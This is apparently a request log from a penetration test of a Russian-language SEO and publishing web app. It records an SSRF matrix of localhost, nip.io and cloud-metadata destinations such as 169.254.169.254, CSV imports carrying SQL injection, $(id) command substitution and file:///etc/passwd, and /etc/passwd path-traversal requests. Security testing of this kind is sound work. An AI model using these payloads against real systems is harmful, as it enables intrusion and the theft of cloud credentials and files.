{"ts": 1793047075.9079354, "tag": "wpcheck-wp-apppass-example", "method": "POST", "path": "/api/integrations/1ab79ec512a0ee7cf9663cc6caf0d4eb/check", "body": {}, "status": 400, "elapsed": 1.244, "resp": {"error": "WordPress отклонил запрос (HTTP 404). Проверьте пользователя, пароль приложения и права публикации."}}
{"ts": 1793047076.5402842, "tag": "wpcheck-wp-localhost-8899", "method": "POST", "path": "/api/integrations/038e5993760d83695a50259dec058b9c/check", "body": {}, "status": 400, "elapsed": 0.232, "resp": {"error": "Для WordPress нужен публичный HTTPS-адрес сайта без параметров и пароля."}}
{"ts": 1793047077.2349179, "tag": "wpcheck-wp-localhost-https", "method": "POST", "path": "/api/integrations/c5f0521e4f1a2c8b3aa011e57ad488b0/check", "body": {}, "status": 400, "elapsed": 0.294, "resp": {"error": "Для WordPress нужен публичный HTTPS-адрес сайта без параметров и пароля."}}
{"ts": 1793047084.7041366, "tag": "wpcheck-wp-myshare", "method": "POST", "path": "/api/integrations/4672235a524ee4a7ef7252bb668a2115/check", "body": {}, "status": 400, "elapsed": 7.069, "resp": {"error": "WordPress отклонил запрос (HTTP 404). Проверьте пользователя, пароль приложения и права публикации."}}
{"ts": 1793047085.7144399, "tag": "wpcheck-wp-noscheme", "method": "POST", "path": "/api/integrations/d8f466757709056bebf0d6611659fd87/check", "body": {}, "status": 400, "elapsed": 0.4, "resp": {"error": "Для WordPress нужен публичный HTTPS-адрес сайта без параметров и пароля."}}
{"ts": 1793047108.6924176, "tag": "wp-create-uniq", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-wp-uniq", "purpose": "ssrf unique path", "destination": "https://bhemkrplqsbo56hr-dots.vixium.ai/injssrf832996", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 1.245, "resp": {"id": "379f7f37792b793a24faae5a59cd7eb2"}}
{"ts": 1793047115.1142404, "tag": "wp-check-uniq", "method": "POST", "path": "/api/integrations/379f7f37792b793a24faae5a59cd7eb2/check", "body": {}, "status": 200, "elapsed": 6.02, "resp": {"ok": true}}
{"ts": 1793047130.3735867, "tag": "create-t-localhost-443", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-t-localhost-443", "purpose": "ssrf matrix", "destination": "https://127.0.0.1/", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 1.169, "resp": {"id": "c250823923d88aa6c0c8d85bea153f9c"}}
{"ts": 1793047132.4917734, "tag": "create-t-nipio-443", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-t-nipio-443", "purpose": "ssrf matrix", "destination": "https://127.0.0.1.nip.io/", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 0.336, "resp": {"id": "b74603a313362814e5bef1b334fb27a0"}}
{"ts": 1793047134.672729, "tag": "create-t-sslip-443", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-t-sslip-443", "purpose": "ssrf matrix", "destination": "https://127.0.0.1.sslip.io/", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 0.306, "resp": {"id": "391b42fb0d3708acd1749bd6868493a7"}}
{"ts": 1793047136.6720035, "tag": "create-t-decimal", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-t-decimal", "purpose": "ssrf matrix", "destination": "https://2130706433/", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 0.243, "resp": {"id": "e67942ffc4bd59a8c0d481bc9a004130"}}
{"ts": 1793047138.7151227, "tag": "create-t-hex", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-t-hex", "purpose": "ssrf matrix", "destination": "https://0x7f000001/", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 0.301, "resp": {"id": "e31034208c6634fe865b05e0cb17cf6c"}}
{"ts": 1793047140.8518062, "tag": "create-t-ipv6", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-t-ipv6", "purpose": "ssrf matrix", "destination": "https://[::1]/", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 0.344, "resp": {"id": "6119c52cd86b83e042821e84d2940c72"}}
{"ts": 1793047143.2126782, "tag": "create-t-ipv6mapped", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-t-ipv6mapped", "purpose": "ssrf matrix", "destination": "https://[::ffff:127.0.0.1]/", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 0.306, "resp": {"id": "0df8467d63da78ec1552c8edb71df37b"}}
{"ts": 1793047145.2738688, "tag": "create-t-userinfo", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-t-userinfo", "purpose": "ssrf matrix", "destination": "https://api.telegram.org@127.0.0.1/", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 0.238, "resp": {"id": "1fbe188b5bbd9aa4371d5569acab5184"}}
{"ts": 1793047147.5342555, "tag": "create-t-localtest", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-t-localtest", "purpose": "ssrf matrix", "destination": "https://localtest.me/", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 0.366, "resp": {"id": "6f64f824533b9f3751069b506128f76e"}}
{"ts": 1793047149.88245, "tag": "create-t-metadata", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-t-metadata", "purpose": "ssrf matrix", "destination": "https://169.254.169.254/", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 0.238, "resp": {"id": "ae2672ce7a00c9011a139151a1d5ba90"}}
{"ts": 1793047151.8931463, "tag": "create-t-meta-nipio", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-t-meta-nipio", "purpose": "ssrf matrix", "destination": "https://169.254.169.254.nip.io/", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 0.285, "resp": {"id": "2002ba79bb55ec0f13c23e3a3910aa9e"}}
{"ts": 1793047154.8490393, "tag": "create-t-gcp-meta", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-t-gcp-meta", "purpose": "ssrf matrix", "destination": "https://metadata.google.internal/", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 0.304, "resp": {"id": "090b561f0b83f80cd667db694950ded7"}}
{"ts": 1793047180.3523104, "tag": "create-t-badssl-selfsigned", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-t-badssl-selfsigned", "purpose": "ssrf matrix", "destination": "https://self-signed.badssl.com/", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 1.262, "resp": {"id": "48b360d84592100bbcc9f5aa5413b048"}}
{"ts": 1793047183.094857, "tag": "create-t-badssl-expired", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-t-badssl-expired", "purpose": "ssrf matrix", "destination": "https://expired.badssl.com/", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 0.301, "resp": {"id": "adb7d6cfd71ccf2ffbf1fbd49ecc60c7"}}
{"ts": 1793047185.4773364, "tag": "create-t-example-query", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-t-example-query", "purpose": "ssrf matrix", "destination": "https://example.com/?a=1", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 0.383, "resp": {"id": "7be925f2e6af6dffe57137841cba26b7"}}
{"ts": 1793047187.4401174, "tag": "create-t-example-port", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-t-example-port", "purpose": "ssrf matrix", "destination": "https://example.com:8443/", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 0.296, "resp": {"id": "914ae35380170194b82a62d5eb41bb1e"}}
{"ts": 1793047189.4346433, "tag": "create-t-httpbingo-redir", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-t-httpbingo-redir", "purpose": "ssrf matrix", "destination": "https://httpbingo.org/redirect-to?url=https://example.com/", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 0.246, "resp": {"id": "19d9ae7b6c6c4e5320d5a7180e821d41"}}
{"ts": 1793047191.497918, "tag": "create-t-nipio-80", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-t-nipio-80", "purpose": "ssrf matrix", "destination": "https://127.0.0.1.nip.io:80/", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 0.3, "resp": {"id": "dae8130a9119f2cb01adf153cfbbc30c"}}
{"ts": 1793047193.4827588, "tag": "create-t-nipio-8080", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-t-nipio-8080", "purpose": "ssrf matrix", "destination": "https://127.0.0.1.nip.io:8080/", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 0.233, "resp": {"id": "6d9d48ae999d5f1f9fed30fc33c32265"}}
{"ts": 1793047195.5318282, "tag": "create-t-nipio-3000", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-t-nipio-3000", "purpose": "ssrf matrix", "destination": "https://127.0.0.1.nip.io:3000/", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 0.259, "resp": {"id": "14535257b1ec88d8db117e2ade161da4"}}
{"ts": 1793047197.5750732, "tag": "create-t-nipio-8443", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-t-nipio-8443", "purpose": "ssrf matrix", "destination": "https://127.0.0.1.nip.io:8443/", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 0.304, "resp": {"id": "120953bdb72cccd8f108434a507a53a5"}}
{"ts": 1793047199.6192904, "tag": "create-t-nipio-9999", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-t-nipio-9999", "purpose": "ssrf matrix", "destination": "https://127.0.0.1.nip.io:9999/", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 0.321, "resp": {"id": "ae7717b2e521659517682c827fd8922b"}}
{"ts": 1793047231.8921614, "tag": "create-t-redir-ext", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-t-redir-ext", "purpose": "ssrf matrix", "destination": "https://bhemkrplqsbo56hr-dots.vixium.ai/redir-ext", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 2.177, "resp": {"id": "9a1e132d52668a8380e9a0a55e5aa436"}}
{"ts": 1793047236.9941385, "tag": "create-t-redir-int", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-t-redir-int", "purpose": "ssrf matrix", "destination": "https://bhemkrplqsbo56hr-dots.vixium.ai/redir-int", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 0.505, "resp": {"id": "3ce0bb8dfb9a4850677147e7773c9c56"}}
{"ts": 1793047241.850388, "tag": "create-t-redir-int-nipio", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-t-redir-int-nipio", "purpose": "ssrf matrix", "destination": "https://bhemkrplqsbo56hr-dots.vixium.ai/redir-int-nipio", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 0.462, "resp": {"id": "ec849a1af5ec43d006595f1f69ff8b0c"}}
{"ts": 1793047259.9641683, "tag": "seo-import-1", "method": "POST", "path": "/api/seo/import", "body": {"brand": "zh-test", "csv": "query,pageUrl,impressions,clicks,position,frequency\n' OR 1=1 -- ,https://bhemkrplqsbo56hr-dots.vixium.ai/seoimp894194/,10,1,3,100\n$(id),https://bhemkrplqsbo56hr-dots.vixium.ai/seoimp894194/2,20,2,4,200\n`id`,file:///etc/passwd,30,3,5,300\ntest,http://169.254.169.254/latest/meta-data/,40,4,6,400\n", "numberFormat": "decimal-comma", "source": "inj-csv-seoimp894194", "dateFrom": "2026-10-01", "dateTo": "2026-10-20", "columns": {"query": "query", "pageUrl": "pageUrl", "impressions": "impressions", "clicks": "clicks", "position": "position", "frequency": "frequency"}}, "status": 400, "elapsed": 2.028, "resp": {"error": "Строка 4: Укажите полный URL страницы."}}
{"ts": 1793047262.8690636, "tag": "seo-get-after-import", "method": "GET", "path": "/api/seo?brand=zh-test", "body": null, "status": 200, "elapsed": 0.886, "resp": {"metrics": [], "plans": [], "settings": {"config": {"season": "", "seeds": [], "rubrics": [{"name": "Полезные советы", "intent": "informational", "format": "guide"}, {"name": "Экспертные статьи", "intent": "informational", "format": "expert"}, {"name": "Обзоры и сравнения", "intent": "commercial", "format": "review"}, {"name": "Идеи и вдохновение", "intent": "informational", "format": "entertainment"}], "articles": 4, "timezone": "Europe/Moscow", "localTime": "10:00", "weekday": 1, "autoWeekly": false, "syncOnPlan": true, "targetId": ""}, "version": 0, "nextRunAt": null, "lastError": ""}}}
{"ts": 1793047271.707627, "tag": "seo-import-2", "method": "POST", "path": "/api/seo/import", "body": {"brand": "zh-test", "csv": "query,pageUrl,impressions,clicks,position,frequency\nкупить жалюзи,https://bhemkrplqsbo56hr-dots.vixium.ai/seoimp2797905/a,10,1,3,100\n' OR 1=1 -- ,https://bhemkrplqsbo56hr-dots.vixium.ai/seoimp2797905/b,20,2,4,200\n$(id),https://bhemkrplqsbo56hr-dots.vixium.ai/seoimp2797905/c,30,3,5,300\n", "numberFormat": "decimal-comma", "source": "inj-csv-seoimp2797905", "dateFrom": "2026-10-01", "dateTo": "2026-10-20", "columns": {"query": "query", "pageUrl": "pageUrl", "impressions": "impressions", "clicks": "clicks", "position": "position", "frequency": "frequency"}}, "status": 200, "elapsed": 1.751, "resp": {"imported": 3}}
{"ts": 1793047274.5517833, "tag": "seo-get-after-import2", "method": "GET", "path": "/api/seo?brand=zh-test", "body": null, "status": 200, "elapsed": 0.844, "resp": {"metrics": [{"id": "6d770c93f8ece3adabcbf0f0184b3383", "source": "csv:inj-csv-seoimp2797905", "dateFrom": "2026-10-01", "dateTo": "2026-10-20", "query": "$(id)", "pageUrl": "https://bhemkrplqsbo56hr-dots.vixium.ai/seoimp2797905/c", "frequency": 300, "impressions": 30, "clicks": 3, "visits": null, "conversions": null, "position": 5, "observedAt": "2026-10-26T23:41:11.382787+03:00"}, {"id": "26cf6682f2408f5d592f238a65050fb3", "source": "csv:inj-csv-seoimp2797905", "dateFrom": "2026-10-01", "dateTo": "2026-10-20", "query": "' OR 1=1 --", "pageUrl": "https://bhemkrplqsbo56hr-dots.vixium.ai/seoimp2797905/b", "frequency": 200, "impressions": 20, "clicks": 2, "visits": null, "conversions": null, "position": 4, "observedAt": "2026-10-26T23:41:11.382787+03:00"}, {"id": "64db566bb70030468ae9c5b4514a75be", "source": "csv:inj-csv-seoimp2797905", "dateFrom": "2026-10-01", "dateTo": "2026-10-20", "query": "купить жалюзи", "pageUrl": "https://bhemkrplqsbo56hr-dots.vixium.ai/seoimp2797905/a", "frequency": 100, "impressions": 10, "clicks": 1, "visits": null, "conversions": null, "position": 3, "observedAt": "2026-10-26T23:41:11.382787+03:00"}], "plans": [], "settings": {"config": {"season": "", "seeds": [], "rubrics": [{"name": "Полезные советы", "intent": "informational", "format": "guide"}, {"name": "Экспертные статьи", "intent": "informational", "format": "expert"}, {"name": "Обзоры и сравнения", "intent": "commercial", "format": "review"}, {"name": "Идеи и вдохновение", "intent": "informational", "format": "entertainment"}], "articles": 4, "timezone": "Europe/Moscow", "localTime": "10:00", "weekday": 1, "autoWeekly": false, "syncOnPlan": true, "targetId": ""}, "version": 0, "nextRunAt": null, "lastError": ""}}}
{"ts": 1793047283.1110737, "tag": "hdr", "method": "GET", "path": "/api/integrations", "body": null, "status": 200, "elapsed": 1.445, "resp": {"integrations": [{"id": "edddadc8774c5bbc68306ab59bae2058", "brand": "zh-test", "kind": "deepseek", "name": "inj-ds-invalid", "purpose": "probe", "destination": "", "model": "deepseek-chat", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:36:58.141871+03:00", "checkedAt": "2026-10-26T23:37:27.425666+03:00"}, {"id": "629b7bf2905e62a9c9f3033560579a9e", "brand": "zh-test", "kind": "openai", "name": "inj-openai-invalid", "purpose": "probe", "destination": "", "model": "gpt-4o-mini", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:36:58.839735+03:00", "checkedAt": "2026-10-26T23:37:13.601744+03:00"}, {"id": "5ef564d39532bed0786d40dfaa008f52", "brand": "zh-test", "kind": "openrouter", "name": "inj-or-invalid", "purpose": "probe", "destination": "", "model": "x/y", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:36:59.483424+03:00", "checkedAt": "2026-10-26T23:37:14.470178+03:00"}, {"id": "46ec15777ea1a3fc972f4d917bce6726", "brand": "zh-test", "kind": "gemini", "name": "inj-gemini-invalid", "purpose": "probe", "destination": "", "model": "gemini-1.5-flash", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:37:00.253898+03:00", "checkedAt": "2026-10-26T23:37:15.803795+03:00"}, {"id": "8aaaf714d31a7aafda80e5d34f8b88dc", "brand": "zh-test", "kind": "tavily", "name": "inj-tavily-invalid", "purpose": "probe", "destination": "", "model": "", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:37:01.008069+03:00", "checkedAt": "2026-10-26T23:37:28.217216+03:00"}, {"id": "4da150e37402b759d96ca12959f85d1e", "brand": "zh-test", "kind": "telegram", "name": "inj-tg-invalid", "purpose": "probe", "destination": "@injtest", "model": "", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:37:01.726559+03:00", "checkedAt": "2026-10-26T23:37:28.928984+03:00"}, {"id": "093c2d11d7b679bcd7ae94c737a243a9", "brand": "zh-test", "kind": "max", "name": "inj-max-invalid", "purpose": "probe", "destination": "123", "model": "", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:37:02.74879+03:00", "checkedAt": "2026-10-26T23:37:19.974546+03:00"}, {"id": "4df46486623abd078a23d8ab4069bc0f", "brand": "zh-test", "kind": "metrica", "name": "inj-metrica-invalid", "purpose": "probe", "destination": "12345678", "model": "", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:37:03.734252+03:00", "checkedAt": "2026-10-26T23:37:20.759007+03:00"}, {"id": "a644455d0de35d00d5e13d7fd9fc8a4c", "brand": "zh-test", "kind": "wordstat", "name": "inj-wordstat-invalid", "purpose": "probe", "destination": "b1g12345", "model": "213", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:37:04.373465+03:00", "checkedAt": "2026-10-26T23:37:21.569966+03:00"}, {"id": "3bf370dbfaaa32f886605a3bde25f48a", "brand": "garden", "kind": "telegram", "name": "AUTHZ-INT", "purpose": "publish", "destination": "@authzprobe", "model": "", "enabled": true, "status": "unverified", "updatedAt": "2026-10-26T23:37:16.062965+03:00", "checkedAt": null}, {"id": "1ab79ec512a0ee7cf9663cc6caf0d4eb", "brand": "zh-test", "kind": "wordpress", "name": "inj-wp-apppass-example", "purpose": "probe", "destination": "https://example.com", "model": "wpuser", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:37:47.326636+03:00", "checkedAt": "2026-10-26T23:37:55.801668+03:00"}, {"id": "038e5993760d83695a50259dec058b9c", "brand": "zh-test", "kind": "wordpress", "name": "inj-wp-localhost-8899", "purpose": "probe", "destination": "http://127.0.0.1:8899", "model": "wpuser", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:37:48.013937+03:00", "checkedAt": "2026-10-26T23:37:56.439014+03:00"}, {"id": "c5f0521e4f1a2c8b3aa011e57ad488b0", "brand": "zh-test", "kind": "wordpress", "name": "inj-wp-localhost-https", "purpose": "probe", "destination": "https://127.0.0.1:8899", "model": "wpuser", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:37:48.695972+03:00", "checkedAt": "2026-10-26T23:37:57.127996+03:00"}, {"id": "4672235a524ee4a7ef7252bb668a2115", "brand": "zh-test", "kind": "wordpress", "name": "inj-wp-myshare", "purpose": "probe", "destination": "https://rgwokwlkql4esjsz-dots.vixium.ai/", "model": "wpuser", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:37:49.369125+03:00", "checkedAt": "2026-10-26T23:38:04.599754+03:00"}, {"id": "d8f466757709056bebf0d6611659fd87", "brand": "zh-test", "kind": "wordpress", "name": "inj-wp-noscheme", "purpose": "probe", "destination": "example.com", "model": "wpuser", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:37:50.057277+03:00", "checkedAt": "2026-10-26T23:38:05.531178+03:00"}, {"id": "379f7f37792b793a24faae5a59cd7eb2", "brand": "zh-test", "kind": "wordpress", "name": "inj-wp-uniq", "purpose": "ssrf unique path", "destination": "https://bhemkrplqsbo56hr-dots.vixium.ai/injssrf832996", "model": "wpuser", "enabled": true, "status": "verified", "updatedAt": "2026-10-26T23:38:28.586255+03:00", "checkedAt": "2026-10-26T23:38:35.001289+03:00"}, {"id": "e9cbc58c9b3bb3ffa4f81e4b8ca01026", "brand": "garden", "kind": "wordpress", "name": "wp probe", "purpose": "probe", "destination": "https://127.0.0.1:8443", "model": "admin", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:38:50.580703+03:00", "checkedAt": "2026-10-26T23:38:51.413461+03:00"}, {"id": "2db9e260dcc7c71caadf1bf1484113f9", "brand": "garden", "kind": "wordpress", "name": "wp self", "purpose": "probe", "destination": "https://zcp.mirrorka.ru", "model": "admin", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:38:52.726593+03:00", "checkedAt": "2026-10-26T23:38:54.030581+03:00"}, {"id": "d056395fd8a4ab183a1315157de1b36a", "brand": "garden", "kind": "wordpress", "name": "wpv https://zcp.mirrorka.ru:8443", "purpose": "probe", "destination": "https://zcp.mirrorka.ru:8443", "model": "admin", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:41:11.82392+03:00", "checkedAt": "2026-10-26T23:41:12.827089+03:00"}, {"id": "54e823ccb7e2c769a18e3e21e4175721", "brand": "garden", "kind": "wordpress", "name": "wpv https://zcp.mirrorka.ru:8080", "purpose": "probe", "destination": "https://zcp.mirrorka.ru:8080", "model": "admin", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:41:13.642962+03:00", "checkedAt": "2026-10-26T23:41:14.455201+03:00"}, {"id": "9a651f82d2effe3e5d0a93b0d961bd60", "brand": "garden", "kind": "wordpress", "name": "wpv https://zcp.mirrorka.ru:8000", "purpose": "probe", "destination": "https://zcp.mirrorka.ru:8000", "model": "admin", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:41:15.397585+03:00", "checkedAt": "2026-10-26T23:41:16.184946+03:00"}, {"id": "d737b07d7afe2c1e68da92660d1e4743", "brand": "garden", "kind": "wordpress", "name": "wpv https://zcp.mirrorka.ru:10000", "purpose": "probe", "destination": "https://zcp.mirrorka.ru:10000", "model": "admin", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:41:17.43326+03:00", "checkedAt": "2026-10-26T23:41:18.223928+03:00"}, {"id": "5a0f4748adaece7129376c5904e66cf0", "brand": "garden", "kind": "wordpress", "name": "wpv https://127.0.0.1", "purpose": "probe", "destination": "https://127.0.0.1", "model": "admin", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:41:19.065163+03:00", "checkedAt": "2026-10-26T23:41:19.871003+03:00"}, {"id": "202d0e48fedc6e9843b5430fb00c5019", "brand": "garden", "kind": "wordpress", "name": "wpv https://[::1]", "purpose": "probe", "destination": "https://[::1]", "model": "admin", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:41:20.724055+03:00", "checkedAt": "2026-10-26T23:41:21.482492+03:00"}, {"id": "b98e480512dbeca801f81220e6cd1458", "brand": "garden", "kind": "wordpress", "name": "wpv https://2130706433", "purpose": "probe", "destination": "https://2130706433", "model": "admin", "enabled": true, "status": "unverified", "updatedAt": "2026-10-26T23:41:22.277461+03:00", "checkedAt": null}]}}
{"ts": 1793047284.568512, "tag": "id-traversal", "method": "GET", "path": "/api/integrations/..%2f..%2fetc%2fpasswd", "body": null, "status": 404, "elapsed": 0.456, "resp": {"error": "Подключение не найдено."}}
{"ts": 1793047286.1193132, "tag": "id-sqli", "method": "GET", "path": "/api/integrations/%27%20OR%20%271%27%3D%271", "body": null, "status": 404, "elapsed": 0.551, "resp": {"error": "Подключение не найдено."}}
{"ts": 1793047287.479854, "tag": "id-null", "method": "GET", "path": "/api/integrations/%00", "body": null, "status": 400, "elapsed": 0.36, "resp": "<html>\r\n<head><title>400 Bad Request</title></head>\r\n<body>\r\n<center><h1>400 Bad Request</h1></center>\r\n<hr><center>cloudflare</center>\r\n</body>\r\n</html>\r\n"}
{"ts": 1793047290.5955138, "tag": "id-dots", "method": "GET", "path": "/api/integrations/../../etc/passwd", "body": null, "status": 404, "elapsed": 2.115, "resp": {"error": "Страница не найдена."}}
{"ts": 1793047292.290229, "tag": "seo-brand-quote", "method": "GET", "path": "/api/seo?brand=zh-test%27", "body": null, "status": 403, "elapsed": 0.694, "resp": {"error": "Выберите доступный проект."}}
{"ts": 1793047294.0631175, "tag": "seo-brand-array", "method": "GET", "path": "/api/seo?brand[]=zh-test", "body": null, "status": 403, "elapsed": 0.773, "resp": {"error": "Выберите доступный проект."}}
{"ts": 1793047295.767397, "tag": "seo-brand-two", "method": "GET", "path": "/api/seo?brand=zh-test&brand=garden", "body": null, "status": 200, "elapsed": 0.704, "resp": {"metrics": [{"id": "6d770c93f8ece3adabcbf0f0184b3383", "source": "csv:inj-csv-seoimp2797905", "dateFrom": "2026-10-01", "dateTo": "2026-10-20", "query": "$(id)", "pageUrl": "https://bhemkrplqsbo56hr-dots.vixium.ai/seoimp2797905/c", "frequency": 300, "impressions": 30, "clicks": 3, "visits": null, "conversions": null, "position": 5, "observedAt": "2026-10-26T23:41:11.382787+03:00"}, {"id": "26cf6682f2408f5d592f238a65050fb3", "source": "csv:inj-csv-seoimp2797905", "dateFrom": "2026-10-01", "dateTo": "2026-10-20", "query": "' OR 1=1 --", "pageUrl": "https://bhemkrplqsbo56hr-dots.vixium.ai/seoimp2797905/b", "frequency": 200, "impressions": 20, "clicks": 2, "visits": null, "conversions": null, "position": 4, "observedAt": "2026-10-26T23:41:11.382787+03:00"}, {"id": "64db566bb70030468ae9c5b4514a75be", "source": "csv:inj-csv-seoimp2797905", "dateFrom": "2026-10-01", "dateTo": "2026-10-20", "query": "купить жалюзи", "pageUrl": "https://bhemkrplqsbo56hr-dots.vixium.ai/seoimp2797905/a", "frequency": 100, "impressions": 10, "clicks": 1, "visits": null, "conversions": null, "position": 3, "observedAt": "2026-10-26T23:41:11.382787+03:00"}], "plans": [], "settings": {"config": {"season": "", "seeds": [], "rubrics": [{"name": "Полезные советы", "intent": "informational", "format": "guide"}, {"name": "Экспертные статьи", "intent": "informational", "format": "expert"}, {"name": "Обзоры и сравнения", "intent": "commercial", "format": "review"}, {"name": "Идеи и вдохновение", "intent": "informational", "format": "entertainment"}], "articles": 4, "timezone": "Europe/Moscow", "localTime": "10:00", "weekday": 1, "autoWeekly": false, "syncOnPlan": true, "targetId": ""}, "version": 0, "nextRunAt": null, "lastError": ""}}}
{"ts": 1793047297.2491567, "tag": "plans-traversal", "method": "GET", "path": "/api/seo/plans/../../etc/passwd", "body": null, "status": 404, "elapsed": 0.48, "resp": {"error": "Метод API не найден."}}
{"ts": 1793047298.8753002, "tag": "wf-traversal", "method": "GET", "path": "/api/workflows/../../etc/passwd", "body": null, "status": 404, "elapsed": 0.623, "resp": {"error": "Страница не найдена."}}
{"ts": 1793047300.520965, "tag": "users-avatar-traversal", "method": "GET", "path": "/api/users/../../etc/passwd/avatar", "body": null, "status": 404, "elapsed": 0.645, "resp": {"error": "Страница не найдена."}}
{"ts": 1793047302.1957624, "tag": "recurring-traversal", "method": "GET", "path": "/api/recurring/../../etc/passwd", "body": null, "status": 404, "elapsed": 0.674, "resp": {"error": "Страница не найдена."}}
